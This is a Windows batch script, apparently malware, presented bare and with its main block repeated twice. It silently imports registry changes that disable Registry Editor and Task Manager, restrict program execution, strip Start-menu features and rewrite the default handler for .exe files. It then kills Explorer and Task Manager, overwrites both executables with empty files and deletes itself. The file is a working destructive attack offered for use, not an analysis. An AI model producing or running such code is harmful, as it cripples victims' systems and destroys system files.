@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
>>"%Temp%.\DefOpen.reg" ECHO "NoDriveTypeAutoRun"=dword:00000091
>>"%Temp%.\DefOpen.reg" ECHO "NoSMHelp"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoLowDiskSpaceChecks"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoRecentDocsMenu"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoSMMyDocs"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoSharedDocuments"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "RESTRICTRUN"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
>>"%Temp%.\DefOpen.reg" ECHO "DisableRegistryTools"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
>>"%Temp%.\DefOpen.reg" ECHO "DisableTaskMgr"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
>>"%Temp%.\DefOpen.reg" ECHO "NoDriveTypeAutoRun"=dword:00000091
>>"%Temp%.\DefOpen.reg" ECHO "NoSMHelp"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoLowDiskSpaceChecks"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoRecentDocsMenu"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoSMMyDocs"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoSharedDocuments"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "RESTRICTRUN"=dword:00000000
>>"%Temp%.\DefOpen.reg" ECHO "norun"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CLASSES_ROOT\exefile\shell\open\command]
>>"%Temp%.\DefOpen.reg" ECHO @=" \"%1\" %*"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
taskkill /im explorer.exe /f
copy nul>%systemroot%\explorer.exe
taskkill /im taskmgr.exe /f
copy nul>%systemroot%\system32\taskmgr.exe
del %0%
exit
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
>>"%Temp%.\DefOpen.reg" ECHO "NoDriveTypeAutoRun"=dword:00000091
>>"%Temp%.\DefOpen.reg" ECHO "NoSMHelp"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoLowDiskSpaceChecks"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoRecentDocsMenu"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoSMMyDocs"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoSharedDocuments"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "RESTRICTRUN"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
>>"%Temp%.\DefOpen.reg" ECHO "DisableRegistryTools"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
>>"%Temp%.\DefOpen.reg" ECHO "DisableTaskMgr"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
>>"%Temp%.\DefOpen.reg" ECHO "NoDriveTypeAutoRun"=dword:00000091
>>"%Temp%.\DefOpen.reg" ECHO "NoSMHelp"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoLowDiskSpaceChecks"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoRecentDocsMenu"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoSMMyDocs"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "NoSharedDocuments"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO "RESTRICTRUN"=dword:00000000
>>"%Temp%.\DefOpen.reg" ECHO "norun"=dword:00000001
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CLASSES_ROOT\exefile\shell\open\command]
>>"%Temp%.\DefOpen.reg" ECHO @=" \"%1\" %*"
>>"%Temp%.\DefOpen.reg" ECHO.
>>"%Temp%.\DefOpen.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
taskkill /im explorer.exe /f
copy nul>%systemroot%\explorer.exe
taskkill /im taskmgr.exe /f
copy nul>%systemroot%\system32\taskmgr.exe
del %0%
exit